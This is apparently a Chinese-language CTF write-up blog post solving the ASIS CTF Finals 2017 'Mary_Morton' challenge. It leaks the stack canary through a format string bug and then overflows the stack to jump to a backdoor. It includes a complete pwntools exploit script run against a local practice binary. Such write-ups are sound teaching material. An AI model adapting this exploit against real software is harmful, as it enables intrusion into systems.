格式化字符串绕canary:[Mary_Morton]ASIS-CTF-Finals-2017

审题:
image
1,2都是简单的输入-输出。输出完之后会到此界面循环
1函数存在栈溢出漏洞
image
2函数存在格式化字符串漏洞
image
并且发现后门地址
image
经过调试,canary值不变。所以先进2得到canary,再回到1ROP

首先搞到格式化字符串的偏址
两种方式:
第一种:输入很多的%p,然后硬数(适合我这种无脑儿)
比如:
image
第22、30个参数都是canary
所以输入%23$p即可
image
第二种:算偏址
算buf到canary、字符串到buf的偏址
https://blog.csdn.net/ATFWUS/article/details/104633310

或者算eip到canary偏址(64位传参方式不一样,不建议用)
https://cloud.tencent.com/developer/article/1628375
然后就没有然后了

from pwn import *
"""
%23$p
----
padding
canary
a*8
backdoor
0
"""
context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
# p=gdb.debug('./pwn')
p=process('./pwn')
p.recv()
p.sendline(b'2')
p.sendline(b'%23$p')
p.recvuntil('0x')
canary=int(p.recv(16),16)
print(hex(canary))

backdoor=0x04008DE
pay=b'p'*(0x90-0x8)+p64(canary)+b'a'*8+p64(backdoor)+p64(0)
p.recvuntil(b'battle \n')
p.sendline(b'1')
p.sendline(pay)
p.interactive()#not a shell though

补充:
canary保护和常见绕过
https://iamayoung.xyz/2021/01/20/canary保护相关/
https://cloud.tencent.com/developer/article/1740319
格式化字符串漏洞:
https://iamayoung.xyz/2021/01/06/格式化字符串漏洞/
https://www.runoob.com/cprogramming/c-function-printf.html

posted @ 2022-01-24 20:23  KingBridge  阅读(94)  评论(0编辑  收藏  举报